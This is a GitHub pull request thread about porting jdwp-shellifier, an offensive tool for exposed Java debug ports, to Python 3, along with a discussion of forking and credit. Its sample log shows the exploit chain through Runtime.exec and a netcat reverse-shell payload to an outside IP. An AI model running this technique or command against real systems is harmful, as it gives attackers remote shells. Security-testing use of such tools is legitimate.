Skip to content

Conversation

@n3rada
Copy link

@n3rada n3rada commented Nov 8, 2023

Hello @hugsy,

I hope this work will be welcome. I'd rather create a Pull Request than a fork, so let's give credit where credit is due.

I had to use this tool to exploit a Box and I ended up in trouble with code from another era that didn't respect good development practices.

So I took some time out to refactor the whole thing!

Of course, I saw that there was already an old PR on switching to python3, but it was succinct and not as well developed.

I hope you like it! It's been tested and approved on various machines. The output has been improved by the way:

[+] Target: 0.0.0.0:8000
[*] Trying to connect...
[+] Connection successful!
[+] Handshake sent
[+] Handshake successful
[*] Requesting ID sizes from the JDWP server...
        • fieldIDSize: 8
        • methodIDSize: 8
        • objectIDSize: 8
        • referenceTypeIDSize: 8
        • frameIDSize: 8
[+] ID sizes have been successfully received and set.
[*] Requesting version information from the JDWP server...
        • description: Java Debug Wire Protocol (Reference Implementation) version 11.0
JVM Debug Interface version 11.0
JVM version 11.0.16 (OpenJDK 64-Bit Server VM, mixed mode, sharing)
        • jdwpMajor: 11
        • jdwpMinor: 0
        • vmVersion: 11.0.16
        • vmName: OpenJDK 64-Bit Server VM
[+] Version information has been successfully received and set.
[+] Found Runtime class: id=0x8b1
[+] Found Runtime.getRuntime(): id=0x7f2ae8023998
[+] Created break event id=0x2
[+] Resume VM signal sent
[+] Waiting for an event on 'accept'
[*] Go triggering the corresponding ServerSocket (e.g., 'nc ip 5000 -z')
[+] Received matching event from thread 0x94d
[+] Payload to send: '/bin/busybox nc 192.168.45.178 443 -e /bin/bash'
[+] Command string object created id:94e
[+] Runtime.getRuntime() returned context id:0x94f
[+] Found Runtime.exec(): id=7f2ae80239d0
[+] Runtime.exec() successful, retId=950
[+] Resume VM signal sent

Best regards

@hugsy
Copy link
Contributor

hugsy commented Nov 15, 2023

Great work @n3rada !

I hope this work will be welcome. I'd rather create a Pull Request than a fork, so let's give credit where credit is due.

I truly appreciate you took the time and effort for all those changes. Unfortunately I'm no longer part of IOActive so I cannot merge your PR as-is. I will ask around to see if someone can transfer the project to me and update this PR. If not possible, I think the only way forward will be to fork it and use that fork.

Let me see 🙂

@n3rada
Copy link
Author

n3rada commented Nov 15, 2023

Thanks, we'll see 👀. The point is that it is quoted everywhere, thus it should be better to update it here.

@hugsy
Copy link
Contributor

hugsy commented Dec 9, 2023

Hi @n3rada

Despite my efforts, no one answered to my requests.
There's literally nothing I can do, as I have no write access to the repo any longer. Too bad, your PR seems valuable to bring the tool to a modern Python format.

Cheers

@n3rada
Copy link
Author

n3rada commented Dec 17, 2023

Isn't possible for you to just fork this to your account for the credits?

@hugsy
Copy link
Contributor

hugsy commented Dec 23, 2023

This I can do 😀

https://github.com/hugsy/jdwp-shellifier

@n3rada
Copy link
Author

n3rada commented Dec 28, 2023

To whom it may concerns, the Pull-Request is actually merged.

@n3rada n3rada closed this Dec 28, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants